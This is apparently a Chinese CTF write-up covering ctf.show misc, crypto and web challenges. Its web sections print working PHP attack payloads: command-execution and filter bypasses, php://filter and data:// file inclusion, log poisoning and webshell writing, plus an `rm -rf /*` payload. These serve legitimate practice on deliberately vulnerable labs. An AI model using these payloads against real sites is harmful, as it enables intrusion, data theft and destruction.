菜狗杯
misc
损坏的压缩包
考察点:文件不符改后缀
先丢到binwalk分析,发现是由png和zlib文件组成的,再丢到winhex,发现文件头 就是png的而不是zip的,那很显然要改文件后缀成.png,然后flag就在图上了,提取文字即可
迷之栅栏
考察点:010editor比较文件功能、栅栏密码
解压后发现是两张图,让我们找不同,联想到010editor有这样的功能, 丢进去,工具--比较文件: 点最下面的差异,就可以自动定位到不同的地方
cfhwfaab2cb4af5a5820}
tso{06071f997b5bdd1a
然后题目名提示是栅栏密码,那就解密一下, 偏移量从1开始试:
你会数数吗
考察点:010editor直方图分析
找了个wp,发现是让我们数每个字母出现的次数,利用010editor里的工具--直方图(Histogram), 倒数第二列是字符出现次数,点击一下让它倒序排列(由多到少),结果flag就出来了。。。
你会异或吗
考察点:py脚本利用异或恢复文件
是个损坏图片,丢到010中分析,发现文件头根本不是png的,然后结合题目提示 神秘数字:0x50,题目名字又和异或有关,那就自然而然联想到分别把文件头的八个部分和0x50进行异或运算,发现最终结果就是png正确的文件头格式:
正好就是
0x89504E47
那么就可以通过写python脚本,利用文件操作模块,对损坏图片文件整体进行异或运算,得到正常的png图片文件,如下:(python3)
f=open("misc5.png",'rb')
con=f.read() # 二进制形式。然后下面的b是int形式,要转换成bytes时,使用bytes(),且里面的内容需要加[]
with open('flag.png','wb') as nfile:
for b in con:
nfile.write(bytes([b ^ 0x50]))
最后发现flag就在恢复后的图片里: 利用图片提取文字功能即可。
萌新
misc
隐写4
考察点:word文字隐写
打开word是图片,猜测是图片隐写,但是提示中说图片没用,那就是word隐写了 wps里,文件 -->选项 --> 视图 -->(显示)隐藏文字打勾
杂项5
考察点:段落正则匹配处理
下载txt,打开后得到以下文本:
小明如愿以偿的打开了压缩包,可是眼前的文字自己只能认识FBI,其他的都不认识,而且屏幕出现了一句话,你能帮小明找到这句话的意思吗?
FBI No under 18
i was always Fond of visiting new scenes, and observing strange characters and manners. even when a mere chiLd i began my travels, and made mAny tours of discovery into foreiGn {parts and unknown regions of my native City, to the frequent alarm of my parents, and The emolument of the town-crier. as i grew into boyhood, i extended the range oF my obServations. my holiday afternoons were spent in rambles about tHe surrounding cOuntry. i made myself familiar With all its places famous in history or fable. i kNew every spot where a murder or robbery had been committed, or a ghost seen. i visited the neighboring villages, and added greatly to my stock of knowledge,By noting their habits and customs, and conversing with their sages and great men.}
其实一眼望去文本就不对劲了,不符合规范英文的书写方式,比如不会出现chiLd
,mAny
,oF
这样子,很容易让人混淆,而且加上文中出现{}
,那么提示就很明显了,找出里面大写字母。 首先假设{
前面就是FLAG
,那么我们就找出{}
里面的大写字母然后再来拼接,找出{CTFSHOWNB}
,剩下就是FLAG{CTFSHOWNB}
。 不过这种办法太费劲了,有更快办法 一个是把长文复制到WORD(365)
里面,使用替换功能,勾选通配符,查找内容为[a-z.,-\ ]
(根据文本内容发现有标点符号空格),替换为留空,直接将所有小写字母,标点符号,空格替换(删除),输出FLAG{CTFSHOWNB}
。 还有一个就是利用在线正则表达式工具:https://www.mklab.cn/utils/regex 匹配规则:[A-Z{}]
,勾选全局匹配,复制文本到匹配结果,下面匹配组就出来了,然后到word里面替换段落标记,输出FLAG{CTFSHOWNB}
最后一个借助菜鸟教程里面的教学工具:https://www.runoob.com/try/try.php?filename=tryjsref_regexp5 替换掉文本,修改匹配规则,同样也可以得到结果。 这道题考的,我觉得是细心,经验
杂项6
考察点:压缩包zip伪加密
必要前置知识:
zip伪加密是在文件头的加密标志位做修改,进而再打开文件时识被别为加密压缩包 一个 ZIP 文件由三个部分组成:
压缩源文件数据区+压缩源文件目录区+压缩源文件目录结束标志
压缩源文件数据区: 50 4B 03 04:这是头文件标记(0x04034b50) 14 00:解压文件所需 pkware 版本 00 00:全局方式位标记(有无加密) 08 00:压缩方式 5A 7E:最后修改文件时间 F7 46:最后修改文件日期 16 B5 80 14:CRC-32校验(1480B516) 19 00 00 00:压缩后尺寸(25) 17 00 00 00:未压缩尺寸(23) 07 00:文件名长度 00 00:扩展记录长度
压缩源文件目录区: 50 4B 01 02:目录中文件文件头标记(0x02014b50) 3F 00:压缩使用的 pkware 版本 14 00:解压文件所需 pkware 版本 00 00:全局方式位标记(有无加密,这个更改这里进行伪加密,改为09 00打开就会提示有密码了) 08 00:压缩方式 5A 7E:最后修改文件时间 F7 46:最后修改文件日期 16 B5 80 14:CRC-32校验(1480B516) 19 00 00 00:压缩后尺寸(25) 17 00 00 00:未压缩尺寸(23) 07 00:文件名长度 24 00:扩展字段长度 00 00:文件注释长度 00 00:磁盘开始号 00 00:内部文件属性 20 00 00 00:外部文件属性 00 00 00 00:局部头部偏移量
压缩源文件目录结束标志: 50 4B 05 06:目录结束标记 00 00:当前磁盘编号 00 00:目录区开始磁盘编号 01 00:本磁盘上纪录总数 01 00:目录区中纪录总数 59 00 00 00:目录区尺寸大小 3E 00 00 00:目录区对第一张磁盘的偏移量 00 00:ZIP 文件注释长度 --------------------------------我是分割符---------------------------- 先把flag.zip丢到winhex分析: 我们看到上图,红色框的
50 4B
是压缩源文件数据区的头文件标记,它对应的红色框的08 00
并不影响加密属性。 绿色框的50 4B
是压缩源文件目录区 ,它对应的绿色框的09 00
影响加密属性,当数字为奇数是为加密,为偶数时不加密。 因此我们更改标志位保存即可:
然后该位置就被修改为了
08 00
,然后ctrl+s保存 然后就可以打开压缩包了: 还可以使用
ZipCenOp.jar
将flag.zip和ZipCenOp.jar都放在同一文件夹 在命令行中执行以下命令: java -jar ZipCenOp.jar r flag.zip
然后直接打开压缩包查看flag.txt即可。(选择WinRAR这款加压缩软件打开)
(未完待续)杂项8
考察点:利用py脚本爆破图片分辨率
首先先查看图片尺寸,记录下来,然后丢到winhex,把记录下来的尺寸给转化成十六进制,然而修改了几次之后都发现不行,因为原图的宽高被修改破坏了,得找到准确的宽高!因此可以用python脚本爆破出来,参考如下: https://www.cnblogs.com/Flat-White/p/13515090.html 或者这个,但是不知道为什么两个都跑不出来:
# -*- coding: utf-8 -*
import struct
import binascii
import os
m = open("flag.png","rb").read()
k=0
for i in range(5000):
if k==1:
break
for j in range(5000):
c = m[12:16] + struct.pack('>i', i) + struct.pack('>i', j)+m[24:29]
crc = binascii.crc32(c) & 0xffffffff
if crc == 0x030C00AF:
k = 1
print(hex(i),hex(j))
break
crypto
密码3
考察点:摩斯+培根
(转载的,忘记哪里cp的了) 一、已知条件 1、我想吃培根 题目描述:(发现CTF里面极大部分题目文字描述并不是一句装饰用的话,就比如上一题,敲下键盘,如果对照敲几下就能发现什么) 2、 -- --- .-. ... . ..--.- .. ... ..--.- -.-. --- --- .-.. ..--.- -... ..- - ..--.- -... .- -.-. --- -. ..--.- .. ... ..--.- -.-. --- --- .-.. . .-. ..--.- -- -- -.. -.. -- -.. -- -.. -- -- -- -.. -.. -.. /-- -.. -- -.. -.. --/ -- -- -- -- -- /-- -.. -.. -- -.. -- /-- -.. -.. -- 3、格式:flag{***********} 二、解题思路 1、这样子-- --- .-.,一看就是摩斯密码,那么手动删除斜杠或者利用WORD替换功能快速去掉斜杠后,得到: -- --- .-. ... . ..--.- .. ... ..--.- -.-. --- --- .-.. ..--.- -... ..- - ..--.- -... .- -.-. --- -. ..--.- .. ... ..--.- -.-. --- --- .-.. . .-. ..--.- -- -- -.. -.. -- -.. -- -.. -- -- -- -.. -.. -.. -- -.. -- -.. -.. -- -- -- -- -- -- -- -.. -.. -- -.. -- -- -.. -.. – 2、借助在线摩斯密码加解密工具 https://www.lddgo.net/encrypt/morse 得到下面一大串英文字母: MORSE_IS_COOL_BUT_BACON_IS_COOLER_MMDDMDMDMMMDDDMDMDDMMMMMMMDDMDMMDDM 3、按照惯例拆分一下得到: MORSE IS COOL BUT BACON IS COOLER MMDDMDMDMMMDDDMDMDDMMMMMMMDDMDMMDDM 4、前面的MORSE IS COOL BUT BACON IS COOLER,翻译一下就是【摩斯密码很酷,但培根更酷】那么显而易见,代入条件1(得益于前面查资料的时候了解到各个密码,培根密码刚好就有提到) 5、既然题目描述和摩斯解密出来的都强调了【培根】那么后面那一串MMDDMDMDMMMDDDMDMDDMMMMMMMDDMDMMDDM,具备培根密码AB原理,那么M指代A,D指代B,通过WORD替换功能将M和D快速替换成A和B得出: 原文:MMDDMDMDMMMDDDMDMDDMMMMMMMDDMDMMDDM 替换:AABBABABAAABBBABABBAAAAAAABBABAABBA 6、借助在线培根解密工具 http://www.hiencode.com/baconian.html 得出:guowang 填充提交:flag{guowang} 看得出来培根密码是一种很随意的加密方式:哪个是A和那个是B完全可以根据加密者的意愿进行确认。 参考资料: 培根密码百度百科:https://baike.baidu.com/item/%E5%9F%B9%E6%A0%B9%E5%AF%86%E7%A0%81?fromModule=lemma_search-box
web
web5
考察点:php代码审计、sql注入异或/取反绕过
审计网页给的后端 php代码,可以知道当id=1000的时候就有flag,这连续几关都是基于同一个题,对用户输入都是利用php的正则匹配基于黑名单进行过滤,除了已被过滤的,还可以对1000进行取反再取反,提交解析后就会恢复为1000被代入查询,或者利用异或运算 ,构造的payload分别为:
?id=~~1000 (取反)
?id=994^10 或者 ?id=00001000 (异或)
web7
考察点:php代码审计、sql注入二进制绕过
很多符号都被过滤了,这个时候试试把1000转换成其二进制,payload即:
?id=0b1111101000
web8
考察点:php代码审计、文字提示结合get提交
很明显,用户提交的get参数由id变成flag了,然后“熟悉的一段操作”对于 程序员来说肯定就是删库跑路了,那就是
rm -rf /*
payload即?flag=rm -rf /*
web10
考察点:php代码审计、远程命令执行过滤绕过或php文件包含绕过
审计后发现带有system|exec|highlight都被过滤了 可以用以下的payload执行命令:
?c=passthru('cat config.php'); //这两个中也可以用tac
?c=echo `cat config.php`; //注意这里是反引号,里面可以执行系统命令,很常用
最后发现页面没有报错,虽然是空白,但是当查看源码后,发现flag
发现有个include();函数,所以还可以尝试利用文件包含: payload:
?c=include('php://filter/read=convert.base64-encode/resource=config.php');
显示出一段看似base64的字符串: PD9waHANCiRmbGFnID0gImN0ZnNob3d7NzdlMWJjNTAtNGUyZC00MDEwLTg3MzUtY2Q3NzRmZDdkZWMzfSI7DQo/Pg0K 解码得到flag:
web15
考察点:php代码审计、文件包含构造参数绕过
和web10是同一道题,对几乎所有能尝试的命令执行含有的字符都过滤了,并且还有php的伪协议file字段,让普通的文件包含也失效了,但是php不止这一个伪协议,可以换其他的,如:
?c=include $_GET[a];&a=php://filter/read=convert.base64-encode/resource=config.php
仔细观察,相比下面这个payload:
?c=include('php://filter/read=convert.base64-encode/resource=config.php');
该payload虽然也用了除file的伪协议,但仍然失效,因为
"("
被过滤了,而上面那个巧妙就在于原来正则匹配方式过滤只针对参数a,那我们就可以自己构造一个除a以外的get参数,此时过滤规则就完全失效了,这种方式非常有效! 然后网页跳转,虽然有报错信息,但显示了一段base64字符串,因为我们的payload表明当读取到源码后要进行base64加密,对该字符串解密即可:
(未完待续)web17
考察点:php代码审计、一句话木马配合日志类文件包含
发现可能可以利用文件包含,并且对“php”进行了过滤 先随便构造一个payload,验证我们的猜想:
报错显示不支持通过远程主机访问文件,那就是说不是远程文件包含,那就试试利用网站的日志包含一句话木马, 通过抓包可以知道网站是nginx服务器
此时可以通过burp把一句话木马放在请求头,放到UA里,从而提交后保存到nginx日志里,而 nginx的日志文件默认地址在/var/log/nginx/access.log和/var/log/nginx/error.log,先试试第一个路径,菜刀/蚁剑连接的url改为:
http://dba6c6f0-6b3b-4cb1-ac94-0092c37f2c52.challenge.ctf.show/?url=/var/log/nginx/access.log
CRYPTO
密码学签到
考察点:简单倒序
}wohs.ftc{galf
一眼就能看出来了:flag{ctf.show}
crypto2
考察点:JSFUCK编码
打开谷歌浏览器,按f12,在console输入译文,单击确定后即可输出明文。
crypto3
考察点:颜文字加密AAencode
这个题直接用浏览器打开是乱码,直接右击另存为txt再打开就不乱码了,这个颜文字是AAencode加密,直接使用在线工具进行解密得到: 或者放到谷歌浏览器控制台解: 需要下载给的txt文件,把最后的
('_');
删除后,然后复制下来粘贴到谷歌浏览器f12的控制台运行就得到答案了:
crypto4
- 描述:
p=447685307 q=2037 e=17
提交flag{d}即可
考察点:简单RSA解密私钥
misc入门
图片篇(基础操作)
misc1
web入门
web6
考察点:网站源码泄露
考察代码泄露。直接访问url/www.zip,获得flag
web7
考察点:git代码泄露
考察git代码泄露,直接访问url/.git/index.php
web8
考察点:信息svn泄露
考察信息svn泄露,直接访问url/.svn/
web9
考察点:vim缓存信息泄露
考察vim缓存信息泄露,直接访问url/index.php.swp 临时文件是在vim编辑文本时就会创建的文件,如果程序正常退出,临时文件自动删除,如果意外退出就会保留,当vim异常退出后,因为未处理缓存文件,导致可以通过缓存文件恢复原始文件内容
以 index.php 为例 第一次产生的缓存文件名为 .index.php.swp
第二次意外退出后,文件名为.index.php.swo
第三次产生的缓存文件则为 .index.php.swn
访问f281eca1-fc44-477c-8227-3988c4b01dd0.challenge.ctf.show/index.php.swp下载查看得到
web11
考察点:网站域名TXT记录信息泄露
web14
考察点:源码默认配置导致信息泄露
访问http://b7c28738-60ca-4dc7-8e4d-040e2a37688a.challenge.ctf.show/editor/
发现上传图片功能中,可以访问到服务器根目录(和题目提示的editor小0day对应)
依次访问直到网站根目录/var/www/html
可疑,打开发现就是flag 回到网站,访问 http://b7c28738-60ca-4dc7-8e4d-040e2a37688a.challenge.ctf.show/nothinghere/fl000g.txt 得到flag:ctfshow{864ed2b6-12a6-41f5-afe7-037ac29f7c6d}
web16
考察点:php探针未删导致信息泄露
web17
考察点:sql备份文件未删导致信息泄露
访问默认的/有可能的sql备份文件名即可
web18
考察点:js小游戏逻辑代码泄露信息
直接访问源码:
给出了游戏对应的js代码,访问: 结合题目意思,只有到达101分才有flag,刚好对应其中一段判断语句,也就是决定是否赢的关键:
发现给了一行字符串,有点像unicode编码 ,进行解码是一行中文,谐音译过来就是让我们去访问110.php,然后就出现flag了:
web20
考察点:mdb数据库文件泄露
用010editor打开,查找即可
web21
考察点:网站账号密码base64拼接类
输入账号admin和随机的密码,抓包,观察数据包中账号密码被拼接的位置,猜测加密规则,然后爆破:
盲猜像base64,解码:
发现格式是账号:密码拼接后base64加密然后传输,那么就可以利用这点来构造爆破: 以下模式是假设用户名就是admin的前提下爆破,也就是单纯用第一种模式simple list, 正如提示中所说如果没有取消payload Encoding选项会出问题,当base64加密后末尾含有"==",在批量爆破发包时url解析过程中还会对其url编码,影响真正的编码结果,即使字典中含有正确密码依然不能爆破成功,即如下:
即如下 配置:
解决方法很简单,即直接把最后payload Encoding中的取消勾选即可,让它不要对"=="等一些特殊字符进行url编码
结果爆破成功,这个就是我们要的密码,因为状态码是200,访问成功 所以最后只要选中它,右键转发给repeater后进行发送即可:
以上是直接利用模式1简单列表爆破,还可以用自定义迭代器模式,可以进行拼接等操作,参考: https://www.cnblogs.com/007NBqaq/p/13220297.html
(未完待续)web23
考察点:php代码审计&写脚本爆破网站token
打开网站是一段php代码:
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-03 11:43:51
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-03 11:56:11
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
include('flag.php');
if(isset($_GET['token'])){
$token = md5($_GET['token']);
if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){
if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){
echo $flag;
}
}
}else{
highlight_file(__FILE__);
}
?>
代码审计时,发现只要爆破出正确的token就可以得到flag,首先传输后的token是经过MD5加密后的,然后关键就在于substr()函数和intval函数: substr() 函数: 用于返回字符串的一部分 (如果 start 参数是负数且 length 小于或等于 start,则 length 为 0)
intval()函数:
代码要求get传入的token经过md5加密后,第1位=第14位=第17位并且(第1位+第14位+第17位)/第1位=第31位,那么我们可以根据它的代码逻辑直接写个php脚本,跑出所有可能的情况:
<?php
$string = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; //自己列举的字典
for($i=0;$i<strlen($string);$i++) {
for($j=0;$j<strlen($string);$j++){
$token = md5($string[$i].$string[$j]);
if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){
if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){
echo $string[$i].$string[$j]."\n";
}
}
}
}
?>
(!注意最好在php7以下运行,否则容易出错,本环境在php5.6.9nts) 最终结果: ZE 和 3j 那就两个都试试带入到get请求参数token中,两个都能获取到flag:
还可以用python爆破:
import requests
a = "3jabcdefghiklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ012456789"
for i in a:
for j in a:
url = "http://6d938407-f75e-427d-a438-34f95cb406b1.challenge.ctf.show/?token=" + str(i) + str(j)
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0"
}
req = requests.get(url=url, headers=headers).text
if "flag" in req:
print(req)
# exit()
# else:
# print(url)
# 3j
(注意这里的url是要看情况更改的,因为每次启动容器后url是随机的;不过不知道为什么运行时没有反应,并没有跳转到浏览器也没有返回状态码,而只有输出全部url,还包括正确的,说明没访问成功,待解决) 或者试试这个:
web24
考察点:php的mt_rand/mt_srand爆破伪随机数
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-03 13:26:39
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-03 13:53:31
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){
$r = $_GET['r'];
mt_srand(372619038);
if(intval($r)===intval(mt_rand())){
echo $flag;
}
}else{
highlight_file(__FILE__);
echo system('cat /proc/version');
}
?>
(代码审计,逻辑很简单,就是给定一个种子进行分发,然后种子生成的随机数取整后作为get提交参数进行传递,即可输出flag)
直接copy php脚本跑,通过抓的响应包发现php版本是7.3.11,注意版本 用php7.3+的跑,因为不同版本爆破出的种子有些是不一样的:
<?php
mt_srand(372619038);
echo mt_rand();
echo "\n";
?>
(未完待续)web25
考察点:php的mt_rand/mt_srand爆破伪随机数种子
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-03 13:56:57
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-03 15:47:33
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){
$r = $_GET['r'];
mt_srand(hexdec(substr(md5($flag), 0,8)));
$rand = intval($r)-intval(mt_rand());
if((!$rand)){
if($_COOKIE['token']==(mt_rand()+mt_rand())){
echo $flag;
}
}else{
echo $rand;
}
}else{
highlight_file(__FILE__);
echo system('cat /proc/version');
}
(代码审计,逻辑比上一题相对复杂,首先把flag进行md5加密,然后取出前八位,把十六进制转换成十进制后作为分发的种子,然后新建一个变量值等于get传递的r减去种子生成的随机数,当传递时的运算过程中不是这个变量值的前提下,对传递的cookie中的token再进行判断,当token等于(随机数+随机数)时,输出flag,反之输出原包含版本信息的页面) (那么本题爆破思路就很明确了,我们就要想办法获得一个随机数,然后拿工具去爆破它的种子即可,我们可以传参r=0,这个时候页面输出了一个负数) 此时随机数就是702954647,拿去跑即可 本题和入门web24的考点是一样的,只是爆破对象不一样 根据查资料发现是考php的伪随机数函数,关于php伪随机数安全可以参考这篇文章: https://www.cnblogs.com/l0nmar/p/13966460.html(文章的工具地址失效) 其中关键在于下面这段:
并且,在同一进程中,同一个种子,每次通过mt_rand()生成的值都是固定的
如上,同一个种子输出都是一样的,那么爆破思路就很明确了,我们只要获得种子,然后通过php的伪随机数函数的算法进行爆破就可以了
爆破伪随机数种子工具可以参考这个:https://blog.csdn.net/qq_35493457/article/details/124080444 使用方法: 解压进入文件夹后,
gcc php_mt_seed.c -o php_mt_seed
make
./php_mt_seed 随机数
工具跑后结果如下: 通过抓的响应包发现php版本是7.3.11,所以可以筛除掉上面php7以前的版本的种子 (待续)
web29~web30
考察点:多种常规payload构造方式、通配符绕过(RCE)
- web29
描述:命令执行,需要严格的过滤
提示:【echonl fl''ag.php
; 查看源代码】
接收用户的GET传参,并用正则匹配判断是否包含flag
字符串,没有则将其作为命令执行。eval($c);
就是本题的漏洞点 ,这个之前的输入过滤太简单了。eval内执行的是php代码,必须以分号结尾。
有多种payload构造方式:
-
用
system
函数
?c=system("tac fla*");
这里比较奇妙的就是用通配符绕过了整个字符串的匹配,注意这里用cat
也能获取到数据(如果题目没有对其做任何限制),只是要点查看源码才能看到,因为内容都被注释了(而用tac是从末尾开始往开头读取,注释符失效,所以内容才会直接回显到页面):
如果flag不在当前目录,也可以先利用?c=system("ls");
来查看到底在哪里:
-
内敛执行 (反字节符)
?c=echo `tac fla*`;
注意 ` 反字节符,是键盘左上角与~
在一起的那个,在该符号包裹中的内容回被当作命令执行,这是类unix中shell的语法特性,然后把执行后的结果作为echo的输出。
- 利用参数传递+
eval
函数
?c=eval($_GET[1]);&1=phpinfo();
试一下,没问题,可以看到phpinfo的信息:
然后再执行其他想要的代码(注意是php代码不是系统命令!),很好理解,前半部分是用eval执行GET传递的字符串作为php代码执行,后半部分则是传递的字符串,也就是具体要执行的php代码内容,同时注意分号不能省略,这些都是属于php的语法,因为在题目给的源码中$c
的最外层用eval
包裹;还要注意的是实际上这里是属于两部分了,分别对应于GET分别传递给参数c
与1
的,中间用;
来分隔这两个键(属于HTTP传输协议中的语法),所以源码中c
的过滤对1
不生效。所以最终:
?c=eval($_GET[1]);&1=system("tac fla*");
- 利用参数传递+
include
文件包含
前面的eval也可以换为include,并且不用括号,因为它是php中的内置语句/指令而不是函数,逻辑就是通过将GET传递的字符串作为文件名,用于包含并加载该文件,由于要查看源码所以用了base64过滤器,最终将其解码查看即可:
?c=include $_GET[1];&1=php://filter/read=convert.base64-encode/resource=flag.php
- 配合
file_put_contents
函数写入木马
file_put_contents("hack.php", '<?php @eval($_POST["pass"]); ?>');
该函数用于将数据写入文件。如果文件不存在,则会创建该文件;如果文件存在,则会覆盖其内容。
- 利用cp命令将flag拷贝到别处
逻辑就是,题目限制的只是GET传递的c参数,我们可以运用曲线救国的方式,虽然在这里显得多此一举了,但有些题目采用这种思路往往能达到妙用。
?c=system("cp fl*g.php a.txt");
然后浏览器访问a.txt,读取即可。除上述外,其实还有很多利用方式,毕竟这题过滤太容易了。
- web30
描述:命令执行,需要严格的过滤
提示:
echo `nl fl''ag.p''hp`;
过滤多了一点点,但是依旧有限,仍然有许多函数可以替代。经测试,web29的很多方法仍然有效:
内敛执行、参数传递+eval
函数(后面跟非system来执行即可):
(注意c参数的过滤对1参数无效)
参数传递+include文件包含的方式也可以。
web31
考察点:无参函数payload构造读文件(操作数组指针)、localeconv()
等绕过.
符号过滤(RCE)
描述:命令执行,需要严格的过滤
提示:show_source(next(array_reverse(scandir(pos(localeconv())))));
参数传递依旧可行,尝试些上面没提到的其他方式,RCE的bypass方式其实非常多(php):
- 命令执行函数替代+空格绕过
如passthru
:
// 其中空格的绕过也有很多种,如下
?c=passthru("tac%09fla*"); // tab的url编码,同理还有其他等效空格作用的编码
?c=passthru("tac\$IFS\$9fla*"); // $IFS是类linux中用来表示分隔符的,后面的数字是代表第几个参数(从1开始),只要不是0和负数都有效,它们在shell脚本中运用较广。注意两者缺一不可,这样才能让$IFS起作用。
注意:单引号串和双引号串在PHP中的处理是不相同的。双引号串中的内容可以被解释而且替换,而单引号串中的内容总被认为是普通字符。
- 无参函数利用构造方式
根据题目提示试试该解法,也是本题作者想拓展的方法,理解起来有点难度,可以参考该文章。
首先查看该目录下都有什么文件,主要由scandir
来实现,可列出指定目录中的文件和目录。如果给定的路径无效或不是一个目录,这将导致错误。当前目录的话就是.
或./
,但.
被过滤了,这里巧妙地又用到localeconv()
来绕过,该函数返回一个包含本地数字及货币格式信息的数组,其中第一个元素就是.
显然思路就是尝试将其提取出来,pos/current
就是起到提取的作用(如果都被过滤还可以使用reset
,该函数返回数组第一个单元的值,如果数组为空则返回FALSE
)。关于.
的绕过方式上述文章中还有提到很多。
可以看到输出的内容和linux中用ls -liah
的结果是相似的,包括.
和..
用绝对路径也可以:
还可以:
这样就不用考虑.
符号,可以看出php很强大很灵活,有数种方式可以输出想要的符号和读取文件。
那么读取想要的文件的内容呢?由于过滤和无参,想要直接指定文件名行不通,这样就相当于给函数指定具体参数了,但注意包裹其他无参函数是可以的,相当于嵌套。其实我们还可以利用数组排序和指针,操作指针来实现读取文件内容,同时还可以根据需要配合array_reverse()
函数以逆序排序数组,文档中操作数组指针的函数如下:
比如flag.php
当前在数组中的第三个,首先current()
实际上就是读第[0]
也就是最开始的.
但无意义,不妨逆序读index.php
的源码,验证下:
按照这个逻辑,似乎可以用嵌套指针操作的方式让它读想要的位置,然而行不通(默认数组指针初始位置在[0]
):
所以,根据上面提供的函数组合实际上只能读取第1、2个或倒数第1、2个,想要读其他的还得用额外的函数。这样就可以读到flag.php
:
如果是任意位置需要用到array_rand(array_flip())
,文章也解释了:
刷新几次后,不用倒序也能读到了:
而如果是不在当前目录下也是有办法的,具体文中也提到了,另外除了文件读取还可以实现RCE。总之就是根据各个php函数的特点进行组合,不断套娃。
除了上述无参方式,还有更简单的有参构造方式,但如果*
被过滤就复杂了:
逻辑简单,glob()
用于返回与指定模式匹配的文件路径数组,然后读取即可。
无参构造虽然复杂,但针对于严格过滤往往能起到妙用。
web32
考察点:参数传递+include
文件包含的利用、php结束符绕过;
符号过滤(RCE)
提示:
c=$nice=include$_GET["url"]?>&url=php://filter/read=convert.base64-encode/resource=flag.php
方法都有很多,出于学习目的,这里开始只根据出题人提示来学习下预期解。
提示是利用文件包含+传参
的方式,上面也提到过了。
注意一个细节,;
被过滤了,为了使其成为完整的php代码能执行,可以忽略;
用末尾的?>
来代替。实际上两者只要保留其中一个就行。
web33 ~ web36
考察点:参数传递+include
文件包含的利用、数字传参绕过"
符号(RCE)
- web33
提示:
c=?><?=include$_GET[1]?>&1=php://filter/read=convert.base64-
encode/resource=flag.php
"
被过滤了,传参还可以用数字,其他的仍然可以用上题payload:
个人感觉提示中前面的?><?=
在这题有些多余了。。
- web34
提示:
c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
用到的正是上题的解法,没啥好说的
- web35
提示:
c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
依然还是用同样的解法,略。
- web36
提示:
c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
可以说这种解法直接通杀了,只不过传参不能用数字了,用不带引号的字母其实也行。
web37
考察点:文件包含实现命令执行(RCE)
提示:
data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
查看源代码 或者通过包含日志文件拿shell
逻辑开始不一样了,eval
替换成了include
,那么只能尝试用文件包含的方式了,尝试直接传flag.php
或者fl*
给include行不通,但是include
还可以配合编码实现命令执行,也就是提示中的,然后查看前端源码:
web38
考察点:日志文件包含实现命令执行(RCE)
提示:
nginx的日志文件/var/log/nginx/access.log
data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
禁用了部分伪协议,依然可以用web37的解法,这里再补充日志文件包含的解法。原理参考。所以可以将一句话木马或直接cat
包含到日志的访问包的UA头中:
web39
考察点:include和data伪协议的解析问题(RCE)
提示:
data://text/plain, 这样就相当于执行了php语句 .php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么 作用
和前面相比,关键包含逻辑由include($c)
改成了include($c.".php")
。之前包含base64编码的payload失效了,实际上这题是在考察include()
与data伪协议的理解,data://
协议后面的内容必须遵循特定格式,通常是 MIME 类型和实际数据。例如data:text/plain;base64,...
如果附加了不合适的后缀(如 .php
和前面的data:text
也对应不上),就会破坏这个格式,使得 PHP 无法正确解析和处理。另外,尽管 data://
协议后面的内容通常不应包含额外的扩展名(如 .php),但 PHP 对于 data://
协议的解析具有一定的宽容性。具体来说,PHP 并不会严格检查 data:// URL
结束后的字符,而是会尝试解析并执行紧跟在 data:
后面的数据。因此,如果data
后跟的是无编码的payload,即使后面要附加.php
,但include识别到可执行的代码后还是会优先执行,而如果是编码,首先刚开始不会直接自动解码并执行,因为后面要附加后缀,编码会被当作.php
的文件名,如果没有这个后缀,则会自动解码并执行。
web40
考察点:无参函数payload构造读文件(操作数组指针)(RCE)
提示:
show_source(next(array_reverse(scandir(pos(localeconv()))))); GXYCTF的禁止套娃 通过cookie获得参数进行命令执行
c=session_start();system(session_id());
passid=ls
发现禁止了几乎常用的所有特殊符号,还包括数字,但值得庆幸的是似乎禁用的只是中文括号,所以依然可以尝试 无参数构造
。
至于提示中说的通过cookie获得参数
这个解法,暂时摸不着头脑,cookie中也没发现有啥特别的。
web41
考察点:
提示:https://blog.csdn.net/miuzzx/article/details/108569080
web78
考察点:简单file伪协议文件包含
源代码已经说明的很明白了,只要以get方式给file传参,就可以包含一个文件。如:
尝试访问目录下的flag.php,发现能访问但没有数据回显,显然可以尝试通过文件包含查看其源码:
?file=php://filter/read=convert.base64-encode/resource=flag.php
web79
考察点:data伪协议加base64绕过字符串过滤(文件包含)
对php字符串做了过滤替换,但是可以尝试编码绕过,对要执行的php操作做base64+urlencode:
换成访问flag.php:
/?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKSA/Pg%3D%3D
其中,该编码即<?php system('cat flag.php')?>
web80 ~ web81
考察点:日志文件包含
web80:
php和data伪协议都被过滤了,而file伪协议能利用的方式又很有限,尝试时php可采用大小写绕过,但是通过配合//input
